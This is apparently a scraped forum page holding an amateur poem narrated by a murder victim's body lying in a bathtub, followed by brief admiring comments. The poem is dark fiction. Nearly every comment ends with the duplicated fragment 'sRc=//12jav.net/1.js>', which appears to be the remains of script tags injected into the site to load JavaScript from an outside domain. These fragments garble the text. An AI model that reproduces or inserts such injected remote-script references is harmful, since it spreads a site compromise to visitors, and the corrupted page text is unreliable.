bathtub murder- a poem

I've been here for three full days,
in this bathtub my body stays.
no one knows I'm still there-
that's because I had no one to care.

See my ice blue lips.
better yet, my cold dead hips.
he wont find me, he wont cry-
here in this bathroom, I did try.

For to my throat he held his knife,
I begged and pleaded for my life.
soon the bathtub began to fill-
till I became silent and still...

here in this bathroom, I still Lay.
body bleeding for 3 long days.
for his heart my soul I sold-
and now the water's grown really cold.

i'd like to know what you think ^-^ sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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i really like the rhymes and i think its cool that you described this person as if the soul was still waiting in the body for someone to find them. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

cool poem! u've could have made it more sad and agressive though.. but other than tht it was cool sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

its very good! kao says he likes it too :D sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Very nice,indeed its my style. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

I actually like it a lot. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

oh thank you ^-^ sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Now that's my type of poem. *stands & applauds* sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

it kind of gives me a sense of enduring pain, or event you wish to break.

But yeah, its a pretty awesome poem, im thinking about getting into this sort of thing myself. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

very good! never let go of that wonderful ability to write. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>